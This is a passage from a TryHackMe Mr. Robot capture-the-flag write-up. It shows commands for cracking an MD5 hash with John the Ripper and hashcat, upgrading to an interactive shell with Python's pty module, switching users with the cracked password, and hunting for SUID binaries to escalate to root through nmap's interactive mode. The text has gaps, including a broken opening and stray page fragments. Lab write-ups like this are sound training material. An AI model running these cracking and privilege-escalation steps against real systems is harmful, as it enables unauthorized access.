TryHackMe — Mr. Robot CTF | Full Write-Up

Platform:
Difficulty: Medium
Author: Shikhali Jamalzade (

Option 2 — John the Ripper:

bash

echo "c3fcd3d76192e4007dfb496cca67e13b" > hash.txt
john hash.txt --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt

Option 3 — Hashcat:

bash

hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

Result: abcdefghijklmnopqrstuvwxyz

Spawning a Proper TTY Shell

Before switching users, we need a fully interactive terminal. Our current shell is a limited “dumb” shell that doesn’t support su. Fix it with Python's pty module:

bash

python -c 'import pty; pty.spawn("/bin/bash")'

Now switch to the robot user:

bash

su robot
# Password: abcdefghijklmnopqrstuvwxyz

Read the second key:

bash

cat /home/robot/key-2-of-3.txt

🚩 Key 2: 822c73956184f694993bebb3eb32f0bf

Phase 6 — Privilege Escalation to Root

With robot, we still can't read the third key (located in /root). We need to escalate to root.

Finding SUID Binaries

SUID (Set User ID) binaries run with the permissions of their owner (often root), regardless of who executes them. This is a common and powerful escalation vector.

bash

find / -perm -u=s -type f 2>/dev/null

Scan the results. Something unusual stands out:

/usr/local/bin/nmap

Nmap with SUID? That’s misconfigured. Older versions of nmap (2.02–5.21) include an --interactive mode that allows shell command execution.

GTFOBins — nmap Interactive Mode

Verify on or check out my tools on

on Medium, where people are continuing the conversation by highlighting and responding to this story.